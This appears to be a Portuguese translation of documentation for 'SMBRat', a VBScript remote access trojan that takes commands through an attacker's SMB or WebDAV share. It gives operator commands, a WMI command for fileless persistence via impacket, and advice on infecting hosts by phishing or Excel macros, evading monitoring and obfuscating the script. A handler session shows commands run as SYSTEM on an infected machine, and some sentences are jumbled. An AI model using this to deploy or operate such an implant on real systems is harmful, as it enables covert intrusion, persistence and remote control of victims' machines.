
Uma ferramenta de administração remota para Windows em Visual Basic com caminhos UNC
Uma Ferramenta de Administração Remota do Windows em Visual Basic Script
Ambientes Windows, como redes de Active Directory, ficam realmente sobrecarregados com tráfego SMB.
Todos os hosts recebem Políticas do SYSVOL, as configurações precisam de arquivos remotos para funcionar, atalhos de área de trabalho tendem a apontar para \\something\else\in\the\network.exe.
Ninguém notaria mais uma tentativa de conexão. Certo?
- Especialmente se for bem-sucedida (está na moda monitorar apenas Negativas do Firewall)
O agent é um Visual Basic Script que roda no host infectado e se conecta ao Servidor SMB. Ele cria um diretório lá nomeado com o hostname do host e o endereço MAC principal (tentando ser único e informativo ao mesmo tempo para fins de relatório). Todos os comandos e informações do host infectado serão armazenados nesse diretório. Fazer zip de toda a Pasta Compartilhada arquivará todas as informações do projeto!
Ele NÃO usa uma letra de unidade para montar o compartilhamento, apenas usa UNC paths para ler diretamente arquivos remotos (nenhuma unidade é criada no explorer.exe).
Ele também injeta o UNC path na variável %PATH% do seu próprio ambiente de execução (você pode executar executáveis diretamente do sistema de arquivos da sua máquina Linux).
O agent está configurado para executar uma única vez. Sem estado.
Sua rotina é (mais ou menos) a seguinte:
exec.dat na pasta que criou no Compartilhamento SMB.cmd.exe /c <command>, como um shell semi-interativo.output.dat (ao lado de exec.dat).exec.dat.O handler precisa de um Servidor SMB para funcionar. O módulo smbserver.py do pacote impacket da Core Security serve.
Muito provavelmente smbd também serviria, mas ainda não foi testado.
É necessário um compartilhamento com o nome D$, para se parecer com o SMB de um host Windows legítimo.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Como o agent está configurado para usar apenas caminhos UNC, o WebDAV também pode ser usado com zero mudanças.
Em vez de um servidor SMB, um servidor WebDAV pode ser usado (um ótimo servidor WebDAV com suporte a SSL é o wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController()
[...] INFO : Registered DAV providers by route:
[...] INFO : - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO : - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share '/:dir_browser' will allow anonymous read access.
[...] WARNING : Share '/' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status
Para o suporte a SSL, os caminhos UNC precisam mudar levemente, de:
\\<Server-IP>\DIR\
para:
\\<Server-IP>@SSL@443\DIR\
Essa mudança só pode ser feita na variável ServerName do agent.vbs, pois todos os caminhos são construídos por ela.
Tenha em mente que os certificados SSL precisam ser confiáveis para o sistema que executa o agent. Certificados autoassinados falharão com avisos.
Um loop While pode ser adicionado ao início do arquivo agent.vbs, com uma instrução de atraso de vários segundos (10 segundos é o ideal), e ele será capaz de infectar hosts Windows por duplo clique / phishing / macros do Excel / etc...
Um loop while True em VBS com atraso de 1 segundo tem esta aparência:
Do While True
[...]
WScript.Sleep 1000
Loop
No entanto, se um host Windows tiver o RPC habilitado, é possível instalar o arquivo VBS como malware sem arquivo através do WMI e dos exemplos fabulosos do pacote impacket com um comando como:
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10
Também é possível utilizar a ferramenta WMI com acesso local para instalar o agent.vbs como malware sem arquivo.
Scripts Visual Basic podem ser muito bem ofuscados, codificados em base64 e também minificados.
Pode ser muito útil testá-lo antes de "implantar" 😉
No momento em que este texto foi escrito, nenhum shell então o uso pode ser feito apenas com um comando como Handler foi implementado,watch para inspecionar o arquivo output.dat:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat
e echo para escrever coisas no arquivo exec.dat:
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat
handler.pyO shell experimental funciona da seguinte forma:
$ python handler.py Share/
SMBRat>
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"
SMBRat> execall whoami /user
[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
SMBRat>
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF':
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat>
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................
.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
O tráfego (o conteúdo e os caminhos dos arquivos) é transferido em texto puro se um Servidor SMBv1 for usado (ex.: smbserver.py do impacket).
Todos os agentes podem modificar arquivos armazenados em Todo o Compartilhamento. Ou seja, podem modificar o exec.dat de outros agentes...
Um smbmap vai esclarecer:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually
-u e -p do smbmap.Isso é uma sessão NULL (como o login anônimo do FTP). TODOS podem alterar os ARQUIVOS do Compartilhamento e obter Execução Remota de Código em todas as máquinas infectadas.
iptables aqui...Digite execall netsh e você perdeu todos os seus agentes. Nenhum responderá, pois o agent.vbs iniciará o shell netsh.exe e ficará esperando que ele termine, para então escrever o conteúdo em output.dat. Mas adivinhe... Ele não vai terminar... Ele vai ficar travado com o netsh> apontando para o vazio.